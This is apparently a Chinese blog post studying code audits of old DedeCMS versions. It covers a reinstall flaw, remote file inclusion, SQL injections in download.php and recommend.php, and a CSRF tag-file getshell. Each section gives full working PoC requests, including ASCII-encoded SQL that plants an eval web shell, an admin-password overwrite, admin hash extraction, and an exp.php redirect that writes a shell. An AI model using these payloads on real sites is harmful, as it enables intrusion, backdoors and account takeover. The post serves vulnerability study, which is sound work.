1. 程式人生 > 其它 >DedeCMS歷史版本程式碼審計學習

DedeCMS歷史版本程式碼審計學習

DEDECMS歷史版本程式碼審計學習

學習程式碼審計,自己簡單記錄一下。如有錯誤望師傅斧正。

DedeCMS重灌漏洞

這裡我們用的版本是20120430,版本檢視/data/admin/ver.txt

一、首先這個漏洞的本質是 Apache的解析漏洞

參考以下文章分析Apache與php的結合方式的不同造成的結果

https://www.cnblogs.com/milantgh/p/5116955.html
https://blog.csdn.net/nuanyangH/article/details/105694856

我們就當預設存在解析漏洞。當我們安裝成功DedeCMS之後會在install下存在一個index.php.bak檔案

訪問的話會提示我們,如下圖所示.

但是呢漏洞程式碼在29行,如下 進行了變數覆蓋

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

根據index.php.bak程式碼我們需要讓$step=不同的值進行下一步的安裝。所以我們的POC

install/index.php.bak?insLockfile=1&step=第幾步

所以我們用hackbar工具或者burp更加方便。

我們一直到step=3時,我們需要填寫資料庫的密碼使用者名稱了。如果簡單的還好,但是複雜我們肯定猜不到

所以我們需要一個遠端可連線的公網資料庫,將資料庫安裝到我們伺服器,網站還是在他的伺服器。

POC如下

POST /install/index.php.bak?insLockfile=1&step=4

/install/index.php.bak?insLockfile=1&step=4
step=4&dbhost=遠端地址&dbuser=使用者名稱&dbpwd=密碼&dbprefix=dede_&dbname=dede111&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=1111&[email protected]&baseurl=http://www.xxx.com&cmspath=

DedeCMS遠端檔案包含漏洞GETSHELL

漏洞復現

這裡我們用的版本是20120430,版本檢視/data/admin/ver.txt
第一步我們需要準備一個遠端檔案

http://www.x.com/dedecms/demodata.a.txt  //必須這樣子命名 a可以變化

第二步先訪問

http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

我們檢視結果,返回 [×] 遠端獲取失敗

第三步我們再訪問

http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=2021716.php&updateHost=http://www.s.com/

[√] 存在(您可以選擇安裝進行體驗)。即可生成http://www.x.com/install/2021716.php

漏洞分析

漏洞其實還是在index.php.bak中我們發現POC中的step變成了11。我們直接去程式碼檢視

else if($step==11)
{
	require_once('../data/admin/config_update.php');
	$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
	
	$sql_content = file_get_contents($rmurl);
	$fp = fopen($install_demo_name,'w');
	if(fwrite($fp,$sql_content))
		echo '&nbsp; <font color="green">[√]</font> 存在(您可以選擇安裝進行體驗)';
	else
		echo '&nbsp; <font color="red">[×]</font> 遠端獲取失敗';
	unset($sql_content);
	fclose($fp);
	exit();
}

首先包含檔案/data/admin/config_update.php我們去檢視時發現已經被我們覆蓋沒有了,我們檢視原檔案

其實就是兩個變數

$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';

然後我們檢視我們POC不難分析出通過$rmurl就是拼接這個兩個東西成一個網址

file_get_contents去獲取然後給$sql_content然後開啟$install_demo_namefile_get_contents獲取的東西給$fp然後判斷。

所以我們看我們兩個關鍵的的POC

http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=2021716.php&updateHost=http://www.s.com/

step=11為了到執行我們的升級。insLockfile=a為了我們進行安裝覆蓋原來的函式

s_lang為了拼接{$s_lang}.txt";這個東西。install_demo_name就是一個檔案命名

updateHost就是為了傳遞我們的URL

所以回到第二步$updateHost."dedecms/demodata.{$s_lang}.txt";就是為了獲取一個不存在檔案

然後install_demo_name=../data/admin/config_update.php就是為了把原檔案給覆蓋掉。

然後我們第三步才可以傳入自己的updateHost

DedeCMS的download檔案SQL注入和GEThsell

這裡我們用的版本是20120430

條件:

CMS版本 < 20130425 //版本檢視/data/admin/ver.txt

PHP關閉mysqli

漏洞復現

第一步訪問我們獲取shell的POC

/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=49&arrs2[]=52&arrs2[]=48&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=102&arrs2[]=108&arrs2[]=121&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=116&arrs2[]=121&arrs2[]=113&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=39&arrs2[]=96

他是用dede_mytag這張表生成的檔案在plus目錄。我們訪問一次,dede_mytag就有東西了

第二步訪問

/plus/mytag_js.php?aid=140   //注意這個aid就是資料庫裡面的aid

我們會發現在plus目錄下多了一個fly.php這就是我們的後門,密碼為tyq。這裡就不截圖了。

這裡再附上一個更改使用者名稱和密碼的POC,一會我們依次分析

/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
//使用者名稱spider  密碼: admin

漏洞分析

我們先分析一下更改使用者名稱密碼的POC

可以看到useridpwd的只,這裡pwd為什麼是20位是因為cms的原因前三位和後一位是沒用的中間的是16位MD5加密

然後shell POC 是這樣子

我們現在直接找到download檔案分析一下

首先直接進去12行 看他require_once幹了一些什麼東西,因為17行有一個$open判斷。肯定存在賦值的。

include/common.inc.php79行我們又發現了這個程式碼 存在變數覆蓋。

經過以上的操作我們$open=1然後跟蹤一下$arrs1和2就是一些acsii碼值

一直走到295行,因為上面都是一些安裝目錄的東西。

if ($GLOBALS['cfg_mysql_type'] == 'mysqli' && function_exists("mysqli_init"))
{
    require_once(DEDEINC.'/dedesqli.class.php');
} else {
    require_once(DEDEINC.'/dedesql.class.php');
}

我們發現cfg_mysql_type 還發現判斷是否有mysqli這個環境,因為這個漏洞點就是在dedesql.class.php

dedesqli.class.php是沒有這個漏洞點的我們跟進去檢視一下做了什麼操作

if(isset($GLOBALS['arrs1']))   // 直接到589行
{
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++)
    {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++)
    {
        $v2 .= chr($arrs2[$i]);
    }
    $GLOBALS[$v1] .= $v2;
}

然後依次對$arrs1$arrs2解碼,如下圖

然後繼續回到download到61行

繼續跟進去

前面就是一些初始化的東西,跟到254行發現SetQuery然後把$prefix="#@__";替換成注入的SQL語句了

然後我的語句又把後面給註釋掉了

UPDATE `dede_mytag` (aid,expbody,normbody) VALUES(140,@`'`,'{dede:php}file_put_contents(''fly.php'',''<?php eval($_POST[tyq]);?>'');{/dede:php}') # @`'`downloads` SET downloads = downloads + 1 WHERE hash='d41d8cd98f00b204e9800998ecf8427e' 

然後返回到dedesql.class.php執行了我們的SQL語句

因為我們並沒有執行成功所以返回-1賦值給$rs

於是我們進入$dsql->ExecNoneQuery($query);

同樣的方法進入setQuery

我們在資料庫也可以看到成功插進去了

然後我們為什麼訪問可以成功落地我們的fly檔案呢

http://localhost/plus/mytag_js.php?aid=140

我們去/plus/mytag_js.php

$row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' "); // 23行

把我們的寫進去的東西查詢出來

normbody={dede:php}file_put_contents('fly.php','<?php eval($_POST[tyq]);?>');{/dede:php}

然後到這裡

$tagbody = $row['normbody'];   // 33行賦值給了他

跟蹤到45行我們進去

$pv->SetTemplet($tagbody, 'string');

然後前面就是一些方法賦值之類的,我們直接到149行$this->ParseTemplet();跟蹤進去

跟到MakeOneTag方法然後就是把$dtp賦值給$ctag然後就是一些遞迴目錄下檔案我們直接到544行

$dtp->Assign($tagid,$funcname($ctag,$refObj)); //544 進去
 $phpcode = trim($ctag->GetInnerText()); // 而GetInnerText就是獲取$ctag中InnerText的值

然後通過eval去執行這個函式,檔案就落地了。

DedeCMS recommend檔案SQL注入漏洞

條件:

20140201之前版本通殺SQL注入 // 版本檢視/data/admin/ver.txt

漏洞復現

POC

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

漏洞分析

大致整體看一下程式碼,程式碼量很少。我們也可以跟著流程走一遍再分析程式碼。

我們這裡直接一步步跟吧,因為程式碼量很少看一下require_once幹了些什麼事情

直接進入12行/../include/common.inc.php就是這個檔案

前面就是定義的一些函式,直接跟到79行就是開始賦值

然後呼叫函式addslashes進行轉義把我們的\'=>\\\'而我們POC為什麼寫\'是有原因的。繼續分析。

然後跟蹤到118行 require_once(DEDEINC.'/uploadsafe.inc.php');檔案,因為每個東西基本都有註釋,他註釋也說了

//轉換上傳的檔案相關的變數及安全處理、並引用前臺通用的上傳函式

所以我們嗯進去看一下 //關鍵的來了

他把\\=>\並且賦值給了$type$type就是我們後面拼接SQL語句用的

$type=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` 

然後我們回到recommend檔案中

直接跟蹤到39行GetOne

$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");   

然後直接到386行,檢查SQL語句

一個正則,所以我們的SQL語句需要寫/*!50000union*//*!50000select*/就是為了繞過正則

第二次SQL注入檢測。主要在第626行的While迴圈中,將所有單引號之間的字串全部替換成$s$

//完整的SQL檢查
       while (TRUE)
       {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
           {
                break;
           }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
           {
                $pos1 = strpos($db_string,'\'', $pos + 1);
                $pos2 = strpos($db_string,'\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2> $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
           }
           $clean .= '$s$';
           $old_pos = $pos + 1;
       }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),$clean)));

經過此次過濾後,SQL語句變成(注意被替換掉的部分):

select s.*,t.* from `dede_member_stow` as sleft join `dede_member_stowtype` as t on s.type=t.stowname where s.aid=$s$ ands.type=$s$ or mid=@`\\$s$` $s$

緊接下來是另一次的union|sleep|benchmark|load_file|outfile等關鍵字檢測,此時的正則規則更嚴格,但union,select等關鍵字已被替換成$s$,因此不會觸發正則

執行成功後返回資料給前臺顯示。

前面寫的有點亂,我們整理一下思路吧。

漏洞修復

根據官方釋出的漏洞補丁,主要修改檔案include/uploadsafe.inc.php中第29行

(上面為修復前,下面為修復後):

DedeCMS 友情連結申請 Getshell

漏洞復現

條件:

版本<20170330

準備一個連結下面放一個exp.php

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede後臺的路徑
//拼接 exp
$muma = '<'.'?'.'p'.'h'.'p'.' '.'P'.'h'.'p' .'i'.'n'.'f'.'o'.'('.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&content='. $muma .'&filename=shellxxxxxx.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();

然後去申請友情連結

去後臺檢視

點選友情連結名稱

然後發現在我們的目錄下面已經成功生成了

我們直接去訪問

漏洞分析

然後我們直接從URL下手

dede/tpl.php?action=savetagfile&content=<?php%20phpinfo();?>&filename=shellxxxxxx.lib.php

定位到檔案/dede/tq1.php

還是先進去看一下,畢竟後面要賦值

require_once(dirname(__FILE__)."/config.php");

又發現這個檔案

require_once(DEDEADMIN.'/../include/common.inc.php');

其實就是根據這個程式碼來進行的,這裡就不分析了

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) 
		{
			if($_k == 'nvarname')
			    ${$_k} = $_v;
			else ${$_k} = _RunMagicQuotes($_v);
		}
    }
}

然後直接定位引數action=savetagfile

else if($action=='savetagfile')
{
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('檔名不合法,不允許進行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

根據程式碼,所以我們的檔名需要符合.lib.php ,然後就是一些寫入的操作

漏洞修復

這個漏洞的本質其實就是CSRF漏洞的修復

DedeCMS 密碼修改漏洞

推薦:https://paper.seebug.org/507/

師傅寫的很好。自己跟一遍理解一下很有意思的。

DedeCMS後臺路徑爆破

推薦:https://zhuanlan.zhihu.com/p/142945516

和我寫PHPCMS爆破同理,有興趣師傅可以看一下PHPCMS程式碼審計